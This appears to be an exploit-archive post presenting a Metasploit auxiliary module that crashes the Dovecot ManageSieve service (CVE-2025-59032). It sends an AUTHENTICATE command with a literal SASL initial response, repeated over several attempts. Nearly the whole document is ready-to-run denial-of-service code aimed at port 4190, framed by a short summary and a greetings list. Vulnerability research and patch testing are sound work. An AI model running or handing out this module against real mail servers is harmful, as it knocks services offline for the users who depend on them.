📄 Dovecot ManageSieve Crash Denial of Service

==================================================================================================================================
    | # Title     : Dovecot ManageSieve Crash Denial of Service Metasploit Module                                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.dovecotpro.com/                                                                                      |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets a Denial of Service (DoS) vulnerability in the Dovecot ManageSieve service, where improper handling of authentication requests can lead to service crashes.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Dos
      include Msf::Exploit::Remote::Tcp
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Dovecot ManageSieve Crash DoS',
            'Description' => %q{
              Dovecot ManageSieve service crashes when receiving an AUTHENTICATE command
              with a literal as SASL initial response. This vulnerability can be exploited
              to repeatedly crash the ManageSieve service, making it unavailable for other
              users.
    
              Affects Dovecot CE core 2.4.0-2.4.2 and Dovecot Pro core 3.1.0-3.1.2.
              Fixed in versions 2.4.3 and 3.1.3.
            },
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2025-59032'],
              ['URL', 'https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html'],
              ['CWE', '20']
            ],
            'License' => MSF_LICENSE,
            'DisclosureDate' => '2026-03-27'
          )
        )
    
        register_options([
          Opt::RPORT(4190),
          OptInt.new('ATTEMPTS', [true, 'Number of crash attempts', 10])
        ])
      end
    
      def run
        print_status("Dovecot ManageSieve Crash DoS (CVE-2025-59032)")
        print_status("Target: #{peer}")
    
        datastore['ATTEMPTS'].to_i.times do |i|
          print_status("Crash attempt #{i + 1}/#{datastore['ATTEMPTS']}")
          crash_managesieve
          sleep(2)
        end
    
        print_status("DoS attack completed")
      end
    
      def crash_managesieve
        sock = nil
    
        begin
          sock = connect
    
          banner = sock.get_once
          vprint_status("ManageSieve banner: #{banner}")
    
          payload_data = "A" * 1000
          literal = "{#{payload_data.length}}\r\n"
    
          malicious_payload = "AUTHENTICATE \"PLAIN\" #{literal}"
          malicious_payload += payload_data + "\r\n"
    
          sock.put(malicious_payload)
    
          response = sock.get_once(5)
    
          if response.nil?
            print_good("ManageSieve service crashed (no response)")
          else
            vprint_status("Response: #{response}")
          end
    
        rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused
          print_good("ManageSieve service crashed (connection reset)")
        rescue ::Exception => e
          print_error("Error: #{e.message}")
        ensure
          disconnect(sock) if sock
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================